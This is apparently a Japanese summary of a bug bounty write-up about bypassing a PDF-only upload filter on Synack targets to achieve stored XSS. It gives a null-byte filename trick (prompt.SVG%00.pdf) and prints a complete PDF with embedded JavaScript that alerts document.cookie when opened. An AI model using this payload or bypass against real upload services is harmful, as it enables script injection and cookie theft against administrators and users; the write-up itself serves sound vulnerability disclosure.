Hello there, ('ω')ノ
自慢する権利:ファイルのアップロードをやさしく殺す
脆弱性:
無制限のファイルアップロード
保存されたXSS
記事:
https://infosecwriteups.com/bragging-rights-killing-file-uploads-softly-fba35a4e485a
今回は、無制限のファイルアップロードの結果について。
週末にファイルのアップロードに丸一日を与えることを考え。
ファイルをアップロードできるSynackのすべてのプログラムを検索して。
https://www.synack.com/blog/?post_type=post&s=file+upload&category_name=0
4〜5個のプログラムを入手し、それらすべてをチェックすることに。
2つのプログラムでは、ファイルのアップロードがすでに報告されているため。
先に進むことができず。
残りの2つのターゲットはまったく新しいものであり。
ファイルのアップロードなどの報告は誰もなかったので、運が良くて。
それを使って何か奇妙なことができるかどうかを確かめるために。
機能をいじり始めて。
このウェブサイトはPDFのみを受け入れていたので。
Burp Suiteを使用してphpファイルをアップロードする従来の方法を試しましたが。
機能せずに、そこではPDF以外のものを受け入れておらず。
最初は、ファイルの名前をXSSペイロードに変更してファイルを。
アップグレードしようとしましたが動作せず。
PDF拡張子の付いたSVGファイルを使用できるとしたら動作するかを。
拡張機能にnull byteを追加して確認することに。
prompt.SVG%00.pdf
すると、アプリはファイルを受け入れていて、アップロード後に。
誰でもアップロードされたものをダウンロードできて。
ファイルを開くとすぐに、XSSがポップアップして。
2番目のケースもまったく同じで、レセプトをアップロードして管理者が承認して。
同じ方法を適用しましたが、どういうわけかうまくいかず。
Googleに戻り、制限を回避できるリソースをさらに検索して。
悪意のあるコンテンツを含むPDFレシートをアップロードでき。
誰かがレポートを開いたときにペイロードが実行されることを確認できて。
https://github.com/swisskyrepo/PayloadsAllTheThings
PDFにJavaScriptを挿入する方法は、下記が全体の内容で。
%PDF-1.3
%âãÏÓ
1 0 obj
<</Pages 2 0 R /Type /Catalog>>
endobj
2 0 obj
<</Count 1 /Kids [3 0 R] /Type /Pages>>
endobj
3 0 obj
<</AA
<</O
<</JS
(
try {
app.alert\(document.cookie\)
} catch \(e\) {
app.alert\(e.message\);
}
)
/S /JavaScript>>>>
/Annots [] /Contents 4 0 R /MediaBox [0 0 612 792] /Parent 2 0 R
/Resources
<</Font <</F1 <</BaseFont /Helvetica /Subtype /Type1 /Type /Font>>>>>>
/Type /Page>>
endobj
4 0 obj
<</Length 21>>
stream
BT
/F1 24 Tf
ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000015 00000 n
0000000062 00000 n
0000000117 00000 n
0000000424 00000 n
trailer
<</Root 1 0 R /Size 5>>
startxref
493
%%EOF
参考:
https://insert-script.blogspot.com/2016/10/pdf-how-to-steal-pdfs-by-injecting.html
管理者がレポートを開くとすぐに、ポップアップが表示されて。
被害者が自分のシステムにダウンロードする必要があるかどうかを。
確認する必要があって。
問題が発生した場合は、意味がなく。
同じターゲットの新しいタブで実行されており、有効なバグと見なされて。
ファイルのアップロードは非常に簡単で、必要なのは別のアプローチだけで。
Best regards, (^^ゞ